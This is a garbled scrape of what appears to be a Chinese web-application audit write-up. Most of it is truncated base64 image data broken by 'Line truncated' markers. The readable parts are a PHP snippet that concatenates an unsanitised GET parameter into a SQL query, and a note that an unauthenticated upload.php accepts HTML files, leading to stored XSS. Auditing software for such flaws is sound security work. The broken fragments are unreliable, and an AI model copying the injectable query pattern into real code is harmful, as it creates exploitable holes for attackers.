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 truncated
|
||||
<a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095030-43090b5c-cec9-1.png title><img src="data:image/png;base64,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 truncated
|
||||
<div class=highlight><pre><span></span><span class=x>switch ($_GET['action']) {</span>
|
||||
<span class=x> case 'zidian':</span>
|
||||
<span class=x> $zidian=$_GET['fenlei'];//获取id</span>
|
||||
<span class=x> $sql="SELECT * FROM ".$db->tablename('vxiangmu') ." WHERE zidian='$zidian'";</span>
|
||||
<span class=x> $list =$db->fetchall($sql);</span>
|
||||
</pre></div>
|
||||
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095053-50cd5c66-cec9-1.png><img src=data:image/png;base64,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FLLVWT4HDx40g+iDg4OB3iggIiIiIiIiIiJabJb9+3//72d//PFHzM7O4m//9m/R2tq60GUiWnCSJOH48eNmsDmTyWB8fLzo1C6l1t3dbQuQj4yMVHyZiYiIiIiIiIiISq2sqVGIFgvDMNDS0oJUKoXNmzdj7dq1rmbaLzRFUaDrOm7fvo3R0dHAU94QEREREREREREtRgyEExVgfSnnYtDY2LjQRSAiIiIiIiIiIqo4Zc0RTkRERERERERERERUbgyEExEREREREREREdGSxkA4ERERERERERERES1pDIQTERERERERERER0ZLGQDgRERERERERERERLWkMhBMRERERERERERHRksZAOJFPbW1tGB0dRXd390IXJXCjo6MYHR1d6GIQEREREREREREF4smFLsBCicViaG9vd7VsY2NjaQtDRERERERERERERCXz5OzsLADg4cOHePjw4QIXp3zu378PTdPMf4dCIciyDAC2z4mIiIiIiIiIiIhocXtsZ4Sn02mk02nz39YZ4i0tLQtVLCIiIiIiIiIiIiIKGHOEExEREREREREREdGS9tjOCPdKzBg3DAOJRCLn7wcPHkRzczMmJydx6NAh23eGhobw1Vdf4Y033oAkSchkMpiamkJXVxcMw8hZV1tbG+rq6iBJEgBA13WMjIygp6cnb/lUVUVHRwdmZmbQ2trquF6/3Janu7sbiqKYy+zevRtHjx5FfX09QqEQdF3HmTNnzJn4XpfPVx5N0/Dxxx+jv7+/qPIUI5VKIZFIIBQKFdy/7733HsLhMAAgk8lA13WMj4/n3beSJGHv3r1Yt26duS2CpmmOTy94aT+qqmLnzp1mmSYnJ/HOO+94rwAiIiIiIiIiIqIKxhnhLg0PD8MwDEiS5BgI37BhAwDgT3/6U87f1q1bhwMHDuC7776DpmkIhUKIRCLo6urKWbazsxPxeBySJEHTNGiaBlmWkUwm0dbWlrd8W7duNfOc19bW+t/QIsozPT1t5leXZRmpVArRaBS6rsMwDMiyjMOHD/te3qk8uq5DURQcOHAAqVSqqPL4FQqFkEwmMTMzY/6e2L8iGC18++23Zj0+ePAAiqIgmUyiu7vbcd1dXV2Ix+NQFAW6rpvf1TQN09PTOct72V/i5kk4HEYmk4GmaVi7di3efvvtouuEiIiIiIiIiIioknBGuAeXL19Gc3MzXn75ZdvsY0mSzBm1ly5dyvmeoijo7e01Z+QqioKTJ0+awVnxeSKRQCQSgWEY6Line truncated
|
||||
<h2 id=toc-1><strong>前台文件上传漏洞造成存储型XSS</strong></h2>
|
||||
<p>寻思还有个未鉴权文件upload.php和upfile.php文件不能浪费啊,可好像都白名单写死了。但是在upload.php发现了端倪,这可以传html。<br>
|
||||
<a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095126-645232d4-cec9-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABHAAAADTCAYAAADpseSJAACDfUlEQVR4nO3dd3xUVdrA8d+dlkZITyCFhNB7B2mCFAWRIhZQXBsr9l5ZXys2FsG2a1kLKujaRVwVFZAqiHQhdAIhIY2Q3qbc8/6RAEmYJDNhQkJ4vp9Pdp2ZM/ec88y5d+48nHuulpeXp6gnSUlJdOnSpdrXS2yVH9uPruCTL3cSNf7vjIr3qvZ9rpRTegmFBQ4szfywGMqfK93B4m8LGT5lAAGa6/1Qhdv47a+WjLggvOyxKmTfj5+yL/4axnVq5vw9KoNda/ajImMIV3v5YVMAk6/uiz8ZrPt4FUFTrqSTNyhlJWnDBrQeQ2jlXfZevbSQEoMPesKXLDOOZ0InCw6DCVOFNqeu/oAdUTcwOt4IgLW0FJPFC0M1/VKqmJ3ffkrh0OkMCKulv6qEpN9XU9AqiIQ1DoaNDiU7s7TsRVsSGzc76DqgNd4n3mA/RsLmTDpMupzOAQaU0kn8dSGZva4/WVfqqo/Z7tuX+FZRNCssIiiuJd7lbS3c/gXfFQ3n2vL4nt6eHDb/mkDr0YMI1qBw93d8d6QbV46Kx+Kkv8pxjB2/HyY8IpNf07oxbWgIiRu249OrPy0toJSd/T8tJKvvjVRTZfl29vHLgkO0HtUKPV8jyCudZXvCuXpMh0qfhfM2Z7Du0z9pOWUcrU2g8jfyzapmTLi0Iybs7PvxS4ouvIae/qCspVhNXnidGKdKJz9lN6l6JG1iAjFpoHL3sCUzgnaWBH5bl07UkEvoFelb7ecthBBCCCGEEKJpMTV0A05QKo8dv2+hqOVQ+rWuPnnjajnN4I2ffwb7d2QT1SUaXwOojDTyItq5lbwBwLc1gcf+5KhjJJFGKN63nA2OgUzs6Dx5A6Bp4XQeWpYdKNj2O0R2orkGqjiNDENLOnidKGchdsCQSu81ePnho3QS021E9fUiN3Uv6fkV82x2kpPs6H572LML9IKDbNxSRK8pV9G12s6lkZ7VkjYhNXdVKQfZe7ZQ0G4YHfN/5c8WXQlrHoq3jwlfXwvH1m4ifOgUerSxVHpfh24VH2WRka5RmpnAnmPl7U32I/aKTrTz0ijesYyvVvVj6oUxGHGQejSLlp1Da2hVAKGGFJLyIci0h1UbjQyYXE3yRhWRsuMoof36YNz6ESERI7FlHsbYqS8tTzY5k4zMMCJDTrxHR1cGjCcSKPZCspIPcGDPNpK9I4n3akW7KB+Kt2/BN7p3rckbAHIPcdiu4b8vgT0Axw5QoGI5uDsByGd/ukZQcgJ7KCJ5y3oyYy9n8qAoLBpomoHm0Z1pXrFf3kH4JC9jud6ewZMGEVr90BdCCCGEEEII0QQ1mgSOLXEtm1J86XplzxoTLK6WA1BHd7LmjzwGx0bSvrmB3LRUAiNOJUuU3YbdaMZcy3Y0rTlto7JZs7eQiMg